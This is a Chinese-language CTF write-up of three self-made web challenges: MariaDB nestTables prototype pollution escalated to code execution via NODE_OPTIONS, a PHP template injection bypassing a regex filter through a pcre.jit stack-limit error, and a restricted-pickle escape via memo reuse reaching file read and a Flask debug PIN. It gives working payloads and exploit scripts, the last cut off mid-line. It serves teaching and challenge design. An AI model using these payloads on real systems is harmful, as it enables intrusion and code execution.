为不存在的校内赛出了三道(可能会被采用)的 CTF 题,主要是 Web 方向。
题一:easy_calc ,涉及 Node.js、SQL;
题二:easy_template,涉及 PHP;
题三:easy_pickle,涉及 Python。
提供各题 docker 环境,设计思路及具体 write-up;基于 Apache 2.0 License。
-
目录
-
题目环境
-
write-ups
-
-
题目环境
题一:附件 easy_calc.rar ,提供搭建好的环境网址与此附件;(前端代码有所参考)
题二:附件 easy_template.rar ,仅提供搭建好的环境网址;(标题与考点完全无关)
题三:附件 easy_pickle.rar ,仅提供搭建好的环境网址。(总感觉比较鸡肋)
出于安全考虑,环境网址就不公开提供了,有兴趣的话可以自行搭建。
-
easy_calc
(同时提供 PDF 版:writeup_easy_calc.pdf)
环境分析:./front/ 用于前端反代(非漏洞点),mariadb 为后端数据库(innodb 只读),./calc/ 为漏洞代码处;使用 node 19.3.0 高版本,mariadb-connector-nodejs 3.0.2 (此文章发表时的最新版本)。
关键代码片段 ./calc/index.js 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
const fs = require('fs') const mariadb = require('mariadb'); const pool = mariadb.createPool({ host: 'db', user: 'root', password: 'root', pipelining: true, nestTables: true, connectionLimit: 100, connectTimeout: 1000, multipleStatements: false }); const ret = function(str) { // As simple as this. Enjoy your flag! try { require('child_process').execFileSync('/readflag', null, { stdio: 'ignore', env: null }); } catch(e) { str = e.toString(); } fs.writeFileSync('./ret', JSON.stringify(str), 'utf-8'); process.exit(0); }; const expr = fs.readFileSync('./expr', 'utf-8').toString('utf-8').trim(); pool.getConnection().then(conn => { // Absolutely safe. Unexploitable when read-only. conn.query('SET SESSION TRANSACTION READ ONLY').then((res) => { conn.query(`SELECT (${expr})`).then((res) => { conn.end(); ret(Object.values(Object.values(res[0])[0])[0]); }) .catch(err => { conn.end(); ret(err); }) }) .catch(err => { conn.end(); ret(err); }) }).catch(err => { ret(err); }); |
注意到 Line 9 处有一个别样的参数:nestTables (默认为 false);
select test_column from db.table_abc
1 |
[ { table_abc: { test_column: 'content' } } ] |
1 2 3 4 5 6 7 |
parseRowNested(columns, packet) { const row = {}; // ... for (let i = 0; i < this._columnCount; i++) { if (!row[this.tableHeader[i][0]]) row[this.tableHeader[i][0]] = {}; row[this.tableHeader[i][0]][this.tableHeader[i][1]] = // ...... /* NOTICE THIS ^^^^^^ */ |
1 2 3 4 5 6 |
} else if (this.opts.nestTables === true) { this.parseRow = this.parseRowNested; for (let i = 0; i < this._columnCount; i++) { this.tableHeader[i] = [this._columns[i].table(), this._columns[i].name()]; } // ... |
__proto__
时,代码覆盖了 row 即 {}
的原型,造成原型链污染
__proto__
但由于这里的数据库是 read-only,无法对实际的表或项进行操作,于是注意到 SELECT AS 这种语法。
1 |
SELECT 'any_value' AS any_variable FROM sys.sys_config AS any_table |
'any_value'
1 |
{ '': { any_variable: 'any_value' } } |
select without from(
1 |
SELECT `any_variable` FROM (VALUES ('any_variable'), ('any_value')) AS any_table |
1 2 |
{ any_table: { any_variable: 'any_variable' } } { any_table: { any_variable: 'any_value' } } |
成功控制表名、项名及内容,至此即可污染环境中原型链上的任意变量,闭合括号的 payload:
1 |
1),`var1`,`var2` FROM (VALUES ('var1','var2'),('123','456')) AS __proto__ -- # |
这时注意到 calc/index.js 中已经给了一个 execFileSync 作为触发点,尝试污染其为任意代码执行:
1 2 3 4 5 6 7 |
try { require('child_process').execFileSync('/readflag', null, { stdio: 'ignore', env: null }); } catch(e) { str = e.toString(); } fs.writeFileSync('./ret', JSON.stringify(str), 'utf-8'); |
新版 node 中默认使 options 为 kEmptyObject(),execFile 函数前新增了各种默认 options 参数为 null 或 false 的判断(),但题目环境中的写法导致其可以被污染。
注意到 处,污染 options.shell 可以替换当前的可执行文件; 处,污染 options.argv0 可以替换 argv0 即 cmdline;options.env 为 null 无法被污染,但 处这个 for 由于污染了 {} 的原型就会将所有被污染的变量都添加进去,因此环境变量实际上也是可控的。
但同时注意到题目环境中所有的可执行文件都被删除,只留了个 nodejs,想到 NODE_OPTIONS 可以用来注入 js 命令。
故污染如下的变量,即可任意代码执行:
1 2 3 4 |
const a = {}; a.__proto__.shell = '/usr/local/bin/node'; a.__proto__.argv0 = '/* CODE HERE */ process.exit(0); //'; a.__proto__.NODE_OPTIONS = '--require /proc/self/cmdline'; |
但此时注意到 calc/index.js 是在 execFileSync 后才将结果写入 ./ret,故即使在 argv0 处将 /readflag 的结果写入 ./ret 也会被覆盖,无法得到回显。
发现题目环境中 docker 入口点为自定义程序 watcher ,观察其流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
pid_t pid = 0; void timer_handler(int pid) { kill(pid, SIGKILL); } int main(int argc, char**argv) { remove(argv[0]); signal(SIGALRM, timer_handler); pid = fork(); if (pid == 0) { setgid(65534); setuid(65534); if (argc > 1) { execvp(argv[1], argv+1); } return 0; } alarm(2); int state; waitpid(pid, &state, 0); return 0; } |
判断若执行超时则强制结束子进程(即 node)的执行。
此时注意到仅需让主程序 node index.js 执行超时即会被杀掉,./ret 的内容也就不会被覆盖。
写入 ./ret 后死循环即可,以下为 argv0 的代码内容:
1 2 3 |
require("fs").writeFileSync("./ret",require("child_process").execFileSync("/readflag").toString()); let i=1;while(i++)i--; process.exit(0); // |
最终的 payload:
1 |
1),`shell`,`NODE_OPTIONS`,`argv0` FROM (VALUES ('shell','NODE_OPTIONS','argv0'), ('/usr/local/bin/node','--require /proc/self/cmdline','require("fs").writeFileSync("./ret",require("child_process").execFileSync("/readflag").toString()); let i=1;while(i++)i--; process.exit(0);//')) AS __proto__ -- # |
出题后话:原型链污染上头了之后,在一个平静的午后,毫无征兆地就会想到 SQL 查询时也可能存在二维数组的覆盖。而 mysqljs/mysql 中使用了一个自定义 class 导致无法覆盖到上层原型链,pgSQL 玩不太明白,折中选择了 mariadb。另外,前端部分代码其实来源于某场比赛中遇到的某个 NodeJS 题,由于自己技艺不精,dockerode 还是第一次在那见到的,也算是一种启发吧(读书人的事情,怎么能说是……)。
-
easy_template
(同时提供 PDF 版:writeup_easy_template.pdf)
环境分析:不提供附件,在 www.zip 处可以下到网站源代码。
hello.tpl 为简单模板,支持两种格式:
1 2 |
{\ %name% /} # 获取并插入(替换)变量 {\ func('para'); unsafe /} # 执行简单函数 |
首先得搞清楚 template.php 里那一堆正则到底是啥情况。
绑定到模板的参数(通过 GET 获取)首先经过 check_invalid_vars()
1 2 3 4 5 6 7 |
function check_invalid_vars($vars) { foreach ($vars as $key => $value) if (!is_string($value) || preg_match('/\{\\\\|\/\}|\'|;/', $value)) return true; return false; } |
即不能含有 {\
/}
'
;
这四种样式,过滤了模板标识,插入变量后的标识及简单函数执行标识。
模板处理主循环位于 parse_template_string()
处:
1 2 3 4 5 6 |
while (preg_match_all('/(\{\\\\.*?\/\})/is', $str, $matches)) { array_shift($matches); foreach ($matches as $cmd) $str = str_replace($cmd[0], command_handler($cmd[0], $vars, $funcs), $str); } |
可以发现这里存在一个关于 preg_match_all()
的返回值 $matches
的认识上的错误:$matches[0]
和 $matches[1]
\{ .*? /}
的结果,实质上等同于 preg_match()
,避免了前后方同时替换的情况。
来看处理简单模板命令的函数 command_handler()
:
1 2 3 4 5 6 |
if (preg_match_all('/\%(.*)\%/is', $cmd, $matches)) { array_shift($matches); foreach ($matches as $var) $hdl = str_replace('%'.$var[0].'%', "'".get_var($var[0], $vars)."'", $hdl); } |
% .* %
作变量替换,并把替换后的结果用 '
1 2 3 4 5 6 7 8 |
else if (preg_match('/^\{\\\\\\s*?(([a-z0-9_]+)\(\'([^\']*?)\'\);\\s*?(unsafe)?\\s*?)\\s*?\/\}$/is', $cmd, $matches)) { [$func, $param] = [$matches[2], $matches[3]]; if (!isset($matches[4]) && !in_array($func, $funcs) && preg_match('/(flag|[^flag0-1\-\/\*])+/is', $param)) die('access denied'); $res = class_exists($func) ? new $func($param) : $func($param); $hdl = str_replace($matches[1], "'".$res."'", $hdl); } |
^{\ func('para'); unsafe /}$
1 2 3 4 5 |
if ($hdl != $cmd) return $hdl; if (!preg_match('/^\{\\\\(\\s*?(\'[^\']*?\')*?\\s*?)*\/\}$/is', $cmd)) return 'undefined'; return str_replace(array("'", '{\\', '/}'), array('', '', ''), $cmd); |
当没有改动发生时,认为该部分模板已渲染完毕,检查模板标识内的单引号是否将所有字符都括起,最后删去单引号及模板标识并返回。
分析完毕,目标很明确:利用简单函数执行功能 getflag;由于分号无法被人工引入,为此只能尝试污染已有的 get_lucky_number()
为任意函数。
-
-
倘若一直被拘束在原有的模板标识里,事情是进展不下去的,为此需要插入新的模板标识;比较直接的
{\
/}
已被过滤,但注意到变量的标识符% %
依然可以使用,且单引号最终都会被删去,于是采用拆分的转移方式:S→'{A' ; A→'\B'
即(S→'{'\'B'''
)。体现在题目环境中即为n0={%n1% ; n1=\%n2% ; n2=...
。 -
绕过
str_replace()
。注意到处理函数的末尾不仅删去了单引号,还删去了头尾的模板标识;倘若直接按 1. 的方法构造,也无法存留。那么这里就是一个简单的绕过:同样的方法改为{{\\
即可。 -
控制单引号对齐。注意到处理函数末尾检查了模板标识内的单引号是否将所有字符都括起,而直接按照 1. 的方法构造,会产生诸如
'{'\'B'''
的字符串,按照非贪婪模式匹配,则有其中的\
未被括起,处理函数返回 undefined。应对措施也很简单:制造一对空单引号(等价替换)即可;也就是将\B
替换为\B
使其变为'\B'
,此时的单引号便对齐了。体现在题目环境中即为n0={%n1% ; n1=%n2% ; n2=\%n3% ; n3=...
。 -
跨越距离的
% %
。至此,已经能在 hello.tpl 的两处%name%
构造出新的模板标识了;目标是替换第二处的get_lucky_number()
,且模板处理从第一处开始。可谓说制造出新的模板(开始)标识就是为此:将第二处的% %
纳入第一处的支配范围。正则是从左往右匹配的,如果此时第一处变为{\ %
,那么它将与第二处的后一个%
形成匹配(因为是贪婪的),形成一个包含换行、空格等字符的变量,其仍可被替换。可以想到,hello.php 中的json_decode()
即是为此存在;用 $_GET 的话空格便无法表示。 -
结束。
-
下面是以题目环境为基准的表达式替换过程:
-
-
-
Hello, {\ '{{%n1%' /}
-
Hello, {\ '{{'%n2%'' /}
-
Hello, {\ '{{''\\%n3%''' /}
-
Hello, {\ '{{''\\'%n4%'''' /}
-
Hello, {\ '{{''\\''phpinfo(%''''' /}
(加入省略的部分 ↓) -
Hello, {\phpinfo(% \nYour lucky number today: {\ get_lucky_number(%name%); /}
-
-
以及先行版 payload:
1 |
{"name": "{{%n1%", "n1": "%n2%", "n2": "\\\\%n3%", "n3": "%n4%", "n4": "phpinfo(%", " </b></p3>\n<p>Your lucky number today: <b>{\\ get_lucky_number(%name": "-1"} |
由此观察 phpinfo()
的各种信息,发现是 PHP 8.2 且 disable_functions 巨长,基本无法 getshell。
下面这个过滤也很烦人。题目环境中 hello.tpl 无自带 unsafe 参数,且无法通过 % %
替换被添加进去;最后那个正则更是丧心病狂,只有 f l a g 0 1 – / * 这寥寥无几的字符可以通行。
1 2 |
if (!isset($matches[4]) && !in_array($func, $funcs) && preg_match('/(flag|[^flag0-1\-\/\*])+/is', $param)) die('access denied'); |
原生类也是可以执行的;先用 GlobIterator
1 2 |
GlobIterator('/*fla*') <p3>Hello, <b> H1y~Im_43r1_y0Ur<<<flag>>>! </b></p> |
一下子就找到 flag 了。但如何读取它才是问题,无论 readfile() ; file_get_contents()
还是 SplFileObject
都需要提供完整的文件路径,而这个参数被正则控制得死死的。
在束手无策的同时也注意到这个正则采用了一种比较少见的写法 (...|[...])+
,一般来说会写成 (...|[...]+)
,那这俩有什么区别?
还是涉及到 PHP7.0+ pcre.jit(默认开启)的一个设计缺陷():在进行 (A|B)+
或 (A{1,2}B)*
这样的匹配时,仅需 1w 个左右的 AB
就可使 preg_match()
返回错误;不同于基本上需要 100w 个字符的 PREG_BACKTRACK_LIMIT_ERROR
,返回的是 PREG_JIT_STACKLIMIT_ERROR
,即在编译 JIT 时栈溢出(超过 PHP 默认值 32K)。原理大概可以认为是 JIT 在编译括号时需要反复进行压栈操作以回溯中间的“或”,成功匹配太多次后造成溢出。
那么对于题目环境的 /(flag|[^flag0-1\-\/\*])+/is
,很简单,随意往参数前面扔 7k 个不合法字符即可让 preg_match()
返回 FALSE
,绕过成功;且刚好不超过 8KB 的 GET 限制。
但到这里还没有结束,至此字符串长度超过了 4KB,作为路径是不合法的,自然也无法读取到文件。
此时只能另辟蹊径,注意到命令执行完后也只是把结果替换进模板字符串里,跟变量替换如出一辙,存在操纵空间;于是可以通过闭合前面的模板标识来新增一条含 unsafe 参数的简单命令执行语句。
提交的参数不能含分号,但函数执行后的结果可以,于是用 base64_decode()
之类的包装一下即可:(在前面添加一堆非法字符 =
也不会影响 base64_decode()
的结果)
1 2 3 |
$injection = "/}{\\file_get_contents('/H1y~Im_43r1_y0Ur<<<flag>>>!');unsafe/}"; $func = 'base64_decode'; $cmd = str_repeat('=',7000).base64_encode($injection); // will execute $func($cmd) |
至此,终于可以安心地获得本题的 flag 了,以下为 payload:
1 2 3 4 5 6 7 8 9 |
import base64,requests url = 'http://web:8080/hello.php?' #func = 'GlobIterator'; cmd = '/*fla*' inj = '/}{\\file_get_contents(\'/H1y~Im_43r1_y0Ur<<<flag>>>!\');unsafe/}' func = 'base64_decode'; cmd = '='*7000 + base64.b64encode(inj.encode()).decode() print(f"{func}('{cmd}')") cmd = '{"name": "{{%n1%", "n1": "%n2%", "n2": "\\\\\\\\%n3%", "n3": "%n4%", "n4": "'+func+'(%", " </b></p3>\\n<p>Your lucky number today: <b>{\\\\ get_lucky_number(%name": "'+cmd+'"}' res = requests.get(url, params=cmd) print(res.text) |
出题后话:字符串替换的利用可以很巧妙,本人尝试还原出了比较常见的一种类型。关于 preg_match 的漏洞点不过参数或返回值类型混淆,本来想结合点 PHP 8+ 的新特性,却迟迟没有找到合适的,只能从 Bugs 堆里拎出一个看起来比较鸡肋的来。说到 template,可是本题却与 template 一点关系都没有,相信屏幕前的你一定也是这么想的。
-
easy_pickle
(同时提供 PDF 版:writeup_easy_pickle.pdf)
环境分析:不提供附件,可以发现是 flask 开启 debug 模式。
题目被设计成一个类似于闯关的模型,先顺着它的思路往下看。
1 2 3 4 5 6 7 8 9 10 |
form = {n: bytes.fromhex(r) for n, r in request.form.items()} pickle = RestrictedUnpickler() if (chall_str:=form.get('chall1')) is not None: if len(chall_str) > 11 or not isascii(chall_str, set(string.printable)): failed('Do your planning and prepare your fields before building your house') b = pickle.loads(chall_str) if type(b) is not bool or not b: failed('Lies last only a moment, but the truth lasts forever') chall_num, chall_pass, chall_ord = 2, True, 'first' |
限制了提交的长度,字符集类型,最后进了 pickle.loads()
并判断返回值。
先试几手,比如随便提交个特殊符号,得到 validate()
源代码:
1 2 3 4 5 6 7 8 9 10 |
@app.before_request def validate(): for c in ['#', '..', './']: if c in request.full_path: failed('Suspicious characters are strictly prohibited') for r in request.form.values(): v = bytes.fromhex(r) for b in [b'R', b'i', b'o', b'b', b'flag', b'`', b'_', b'\x81']: if b in v: failed('Suspicious characters are strictly prohibited') |
发现 GET 过滤了 ..
等,而 POST 过滤了喜闻乐见的 R i o b
等,封锁了一些常见的简单漏洞。
首先尝试通过 challenge 1,分析题目默认提供的 payload 4930300a2e
:
1 2 3 4 |
>>> pickletools.dis(bytes.fromhex('4930300a2e')) 0: I INT False 4: . STOP highest protocol among opcodes = 0 |
发现仅需把返回值改为 True,也就是 b'I01\n.'
,提交 4930310a2e
即可。
到达 challenge 2 处,从报错信息得到部分源代码:
1 2 3 4 5 6 7 |
if (chall_str:=form.get('chall2')) is not None: if len(chall_str) > 22 or not isascii(chall_str, set(string.printable)): failed('By failing to prepare, you are preparing to fail') user = pickle.loads(chall_str) if type(user) is not dict or user.get('user') != 'admin': failed('Trust in the LORD with all your heart and lean not on your own understanding; in all your ways submit to him, and he will make your paths straight') chall_num, chall_pass, chall_ord = 3, True, 'second' |
限制了提交的长度,字符集类型,最后同样进了 pickle.loads
并判断返回值。
分析题目默认提供的 payload 286456757365720a5667756573740a732e
:
1 2 3 4 5 6 7 8 |
>>> pickletools.dis(bytes.fromhex('286456757365720a5667756573740a732e')) 0: ( MARK 1: d DICT (MARK at 0) 2: V UNICODE 'user' 8: V UNICODE 'guest' 15: s SETITEM 16: . STOP highest protocol among opcodes = 0 |
发现仅需把 'guest'
改为 'admin'
,但同时注意到 i
会被 waf 拦截下来,使用 \u0069
绕过即可。
得到b'(dVuser\nVadm\\u0069n\ns.'
,提交286456757365720a5661646d5c75303036396e0a732e
。
到达 challenge 3 处,从报错信息得到部分源代码:
1 2 3 4 5 6 7 8 |
if (chall_str:=form.get('chall3')) is not None: if len(chall_str) > 153 or not isascii(chall_str, set(string.printable)): failed('In the wilderness prepare the way for the LORD; make straight in the desert a highway for our God') global guidance; guidance = {'direction': urandom(64)} myway = pickle.loads(chall_str) if type(myway) is not dict or myway.get('direction') != guidance['direction']: failed('Every valley shall be raised up, every mountain and hill made low; the rough ground shall become level, the rugged places a plain') chall_num, chall_pass, chall_ord = 4, True, 'third' |
__main__.guidance
1 2 3 4 5 6 7 8 9 |
>>> pickletools.dis(bytes.fromhex('286456645c753030363972......')) 0: ( MARK 1: d DICT (MARK at 0) 2: V UNICODE 'direction' 28: V UNICODE 'lost' 39: s SETITEM 40: . STOP highest protocol among opcodes = 0 |
_
会被拦截,先试着随意使用 c
(GLOBAL) 字节指令爆出 RestrictedUnpickler()
1 2 3 4 5 6 7 8 |
def find_class(self, module, name): safe_builtins = {'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'} module, name = module.lower(), name.lower() if module == "builtins" and name in safe_builtins: return getattr(sys.modules["builtins"], name) if module == "main" and '.' not in name and '__' not in name: return getattr(sys.modules["__main__"], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) |
其中 builtins
为白名单控制, __main__
可以任意导入,且均经过 .lower()
处理。
也就是控制模块名为 maIn
就可以在不触发 waf 的前提下引入 __main__
;变量 guIdance
同理。
得到 b'cmaIn\nguIdance\n.'
,即提交 payload 636d61496e0a67754964616e63650a2e
。
1 2 3 4 5 6 7 8 |
if (chall_str:=form.get('chall4')) is not None: if len(chall_str) > 154 or not notascii(chall_str, set(string.printable)-set('.'+string.ascii_lowercase)): failed('The Lord is near to those who are discouraged; he saves those who have lost all hope') b = pickle.loads(chall_str) if type(b) is not bool or not b: failed('Sincerity and truth are what you require; fill my mind with your wisdom') chall_num, chall_pass, chall_ord = 5, True, 'fourth' return render_template('chall_end.html', chall_num=chall_num, chall_ord=chall_ord) |
isascii()
,而本次判断 notascii()
,并允许了 .
和小写字母。
同样的,先分析题目默认提供的 payload 8004892e
:
1 2 3 4 5 |
>>> pickletools.dis(bytes.fromhex('8004892e')) 0: \x80 PROTO 4 2: \x89 NEWFALSE 3: . STOP highest protocol among opcodes = 2 |
pickle.dumps()
1 2 |
NEWTRUE = b'\x88' # push True NEWFALSE = b'\x89' # push False |
改为 b'\x80\x04\x88.'
,即提交 8004882e
即可。
然后会发现 challenge 结束了,没有 flag
可以在结束页面的源代码中发现 /static/hint.txt
,或者在 failed()
报错信息中发现 /static/
路由:
1 2 3 4 5 6 7 |
@app.route('/static/<path:file>', methods=('GET',)) def raw_file(file): with open('./static/' + file, 'r') as f: return f.read() def failed(msg: str): raise TryHarder(msg) |
终于明白为什么 waf 要拦截 ..
了,就当前的限制而言,目录穿越是不可能的。
尝试综合一下所有功能:Flask、debug mode、文件读取、pickle.loads;不知是否有这样一条路浮现出来:
pickle.loads() --> raw_file() (BYPASS WAF) --> debug pin --> RCE
虽然其中许多细节尚不明确,但这些正是接下来需要探索的方向。
一个问题,如何获得 raw_file()
的回显? 代码中没有任何显示出 pickle.loads()
返回值的部分;
注意到 debug mode 开启,而 failed()
正是用来报错的函数,改为调用 failed(raw_file())
即可。
一个问题,pickle.loads()
如何执行函数?其中 R i o b NEWOBJ = b'\x81'
已被过滤;
注意到 NEWOBJ_EX = b'\x92'
未被过滤,可以仿照 NEWOBJ
的方法执行函数,观察其源代码:
1 2 3 4 5 6 7 |
def load_newobj_ex(self): kwargs = self.stack.pop() args = self.stack.pop() cls = self.stack.pop() obj = cls.__new__(cls, *args, **kwargs) self.append(obj) dispatch[NEWOBJ_EX[0]] = load_newobj_ex |
find_class()
的 builtins
白名单 {'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'}
1 2 |
>>> frozenset.__new__(frozenset, map.__new__(map, eval, ('123+456',))) frozenset({579}) |
使用 map 而非 filter 因为前者能返回执行的结果,使用 frozenset 因为其能触发 __next__()
并调用函数。
最关键的问题,前三个 challenge 限制 isascii()
,而第四个 challenge 限制 notascii()
,如何绕过?
很明显 NEWOBJ_EX
STACK_GLOBAL = b'\x93'
可以用来引入变量(使用 c 的话会不可避免地遇到大写字母),而被压入的字符串无法像 V
或 S
字节指令一样绕过 waf。
为看清问题的全貌,随意使用一些非法的字节序列还原出 RestrictedUnpickler().loads()
的部分源代码:
1 2 3 4 5 |
def loads(self, s: bytes): file = io.BytesIO(s) self._file_readline = file.readline self._file_read = file.read return super().load() |
注意到并不是每次都生成新的 pickle._Unpickler
实例,而是更改了某些必须的参数并复用了当前实例。
查看 pickle.py 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
class _Unpickler: def __init__(self, file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None): self._buffers = iter(buffers) if buffers is not None else None self._file_readline = file.readline self._file_read = file.read self.memo = {} self.encoding = encoding self.errors = errors self.proto = 0 self.fix_imports = fix_imports def load(self): # ...... self.metastack = [] self.stack = [] self.append = self.stack.append self.proto = 0 read = self.read dispatch = self.dispatch try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) except _Stop as stopinst: return stopinst.value |
self.stack
在每次 load()
时被重新创建,而 self.memo
仅在实例化对象时被清空了一次;
再看 /chall
路由的主要代码,发现四个 challenge 确实同时使用了 pickle = RestrictedUnpickler()
这一个实例,也就是说 self.memo
在这四个 challenge 中是会保留的,且不同 challenge 可以在同一请求内被按顺序依次执行(只要有 chall{id} 这个参数);于是利用 self.memo
传递数据,在前三个 challenge 中利用各种方法绕过 waf 创建非法字符串并存进 self.memo
中,在第四个 challenge 中取出以 NEWOBJ_EX
执行函数。
分析得出需要 builtins map frozenset main failed raw_file ../../filepath
这几个字符串,前两个 challenge 提交长度限制过紧,故在 challenge 3 中构造 BuIltIns frOzenset maIn faIled raw\\u005ffIle ../../filepath
并依次存入 self.memo
,最后不忘满足 challenge 3 的通关条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
0: V UNICODE 'BuIltIns' 10: p PUT 0 13: V UNICODE 'frOzenset' 24: p PUT 2 27: V UNICODE 'maIn' 33: p PUT 3 36: V UNICODE 'faIled' 44: p PUT 4 47: V UNICODE 'raw_fIle' # raw\\u005ffIle 62: p PUT 5 65: S STRING '../../proc/sys/kernel/random/boot_id' # '../../pr\\x6fc/sys/kernel/rand\\x6fm/\\x62\\x6f\\x6ft\\x5f\\x69d' 126: p PUT 6 129: } EMPTY_DICT 130: p PUT 7 133: c GLOBAL 'maIn guIdance' 148: . STOP highest protocol among opcodes = 1 |
这里以获取 debug pin 需要读取的最长的文件名 ../../proc/sys/kernel/random/boot_id
为例,可以发现 150 的字符限制还是很吃紧的。采用的优化措施包括:map 完全合法,故放到 challenge 4 中构造;直接使用 c
(GLOBAL) 字节指令引入后再放入 self.memo
会显著地超出允许的提交长度,故仅存储字符串;在没有转义的情况下,使用 V
字节指令引入字符串比 S
节省 1 字节;在有多个转义的情况下,使用 \\xCC
+ S
字节指令引入字符串比使用 \\u00CC
+ V
节省多个字节。
同时注意到,作为 NEWOBJ_EX
参数的 **kwargs
无法使用非 ascii 字符构造,故还需要提前存储一个空 dict。
而 challenge 4 就不需要这么紧张了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
memo = { 0: 'BuIltIns', 2: 'frOzenset', 3: 'maIn', 4: 'faIled', 5: 'raw_fIle', 6: '../../proc/sys/kernel/random/boot_id', 7: {}, } 0: \x8c SHORT_BINUNICODE 'map' 5: q BINPUT 1 # memo.update(1, 'map') 7: h BINGET 0 # stack: ['BuIntIns'] 9: h BINGET 2 # stack: ['BuIntIns', 'frOzenset'] 11: \x93 STACK_GLOBAL # stack: [class<frozenset>] 12: h BINGET 0 14: h BINGET 1 16: \x93 STACK_GLOBAL # stack: [class<frozenset>, class<map>] 17: h BINGET 3 19: h BINGET 4 21: \x93 STACK_GLOBAL # stack: [class<frozenset>, class<map>, function<failed>] 22: h BINGET 0 24: h BINGET 2 26: \x93 STACK_GLOBAL # stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>] 27: h BINGET 0 29: h BINGET 1 31: \x93 STACK_GLOBAL # stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>, class<map>] 32: h BINGET 3 34: h BINGET 5 36: \x93 STACK_GLOBAL # stack: [...(4), class<map>, function<raw_file>] 37: h BINGET 6 # stack: [...(4), class<map>, function<raw_file>, 'filepath'] 39: \x85 TUPLE1 # stack: [...(4), class<map>, function<raw_file>, ('filepath',)] 40: \x86 TUPLE2 # stack: [...(4), class<map>, (function<raw_file>, ('filepath',),)] 41: h BINGET 7 # stack: [...(4), class<map>, (function<raw_file>, ('filepath',),), {}] 43: \x92 NEWOBJ_EX # stack: [...(3), class<frozenset>, class<map>()] 44: \x85 TUPLE1 # stack: [...(3), class<frozenset>, (class<map>(),)] 45: h BINGET 7 # stack: [...(3), class<frozenset>, (class<map>(),), {}] 47: \x92 NEWOBJ_EX # stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>('content')] 48: \x85 TUPLE1 # stack: [class<frozenset>, class<map>, function<failed>, (...('content'),)] 49: \x86 TUPLE2 # stack: [class<frozenset>, class<map>, (function<failed>, (...('content'),),)] 50: h BINGET 7 # stack: [class<frozenset>, class<map>, (function<failed>, (...('content'),),), {}] 52: \x92 NEWOBJ_EX # stack: [class<frozenset>, class<map>()] 53: \x85 TUPLE1 # stack: [class<frozenset>, (class<map>(),)] 54: h BINGET 7 # stack: [class<frozenset>, (class<map>(),), {}] 56: \x92 NEWOBJ_EX # <------< exception TryHarder() is raised here <------< # stack: [class<frozenset>(failed())] 57: \x80 PROTO 4 59: \x88 NEWTRUE 60: . STOP highest protocol among opcodes = 4 |
http://web:8888/chall
处提交如上的 chall3={c3.hex()}&chall4={c4.hex()}
即可读取任意文件。
最后,仅需读取 /sys/class/net/eth0/address /proc/sys/kernel/random/boot_id /proc/self/cgroup
这三个文件,并使用默认值 'nobody' 'flask.app' 'Flask' '/usr/local/lib/python3.11/site-packages/flask/app.py'
,即可计算出 debug pin,完成 RCE。
以下为获取 debug pin 的 payload:(至于之后的 RCE + /readflag 过程,就不需要赘述了吧?)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
import string import struct import requests url = 'http://web:8888/chall' # ; def POP(): return b'0' def TO_MEMO(i: int): return b'p' + str(i).encode() + b'\n' def PUSH_STRV(s: str): return b'V' + s.encode() + b'\n' def PUSH_STRS(s: str): return b'S\'' + s.encode() + b'\'\n' def EMPTY_DICT(): return b'}' # ; def FROM_MEMO(i: int): assert(i < 0xFF and chr(i) not in string.printable) return b'h' + bytes([i]) def nTO_MEMO(i: int): assert(i < 0xFF and chr(i) not in string.printable) return b'q' + bytes([i]) def nPUSH_STR(s: str): return b'\x8c' + bytes([len(s.encode())]) + s.encode() def GLOBAL(): return b'\x93' def NEWOBJ(): return b'\x92' def BTUPLE(i: int): match i: case 1: return b'\x85' case 2: return b'\x86' case 3: return b'\x87' case _: assert(False) # ; o1 = b'I01\n.' o2 = b'(dVuser\nVadm\\u0069n\ns.' o3 = b'cmaIn\nguIdance\n.' o4 = b'\x80\x04\x88.' def getfile(file: str): file = file.replace('i', '\\x69').replace('o', '\\x6f') .replace('b', '\\x62').replace('_', '\\x5f') # ; c3 = b'' fmsv = lambda s, i: PUSH_STRV(s) + TO_MEMO(i) #+ POP() fmss = lambda s, i: PUSH_STRS(s) + TO_MEMO(i) #+ POP() c3 += fmsv('BuIltIns', 0) #c3 += fmsv('map', 1) c3 += fmsv('frOzenset', 2) c3 += fmsv('maIn', 3) c3 += fmsv('faIled', 4) c3 += fmsv('raw\\u005ffIle', 5) c3 += fmss('../..' + file, 6) c3 += EMPTY_DICT() + TO_MEMO(7) #+ POP() c3 += o3 # be stingy with total length assert(len(c3) <= 150) # ; c4 = b'' nfms = lambda s, i: nPUSH_STR(s) + nTO_MEMO(i) c4 += nfms('map', 1) fmc = lambda m, n: FROM_MEMO(m) + FROM_MEMO(n) + GLOBAL() c4 += fmc(0, 2) + fmc(0, 1) c4 += fmc(3, 4) # --> c4 += fmc(0, 2) + fmc(0, 1) c4 += fmc(3, 5) + FROM_MEMO(6) + BTUPLE(1) + BTUPLE(2) + 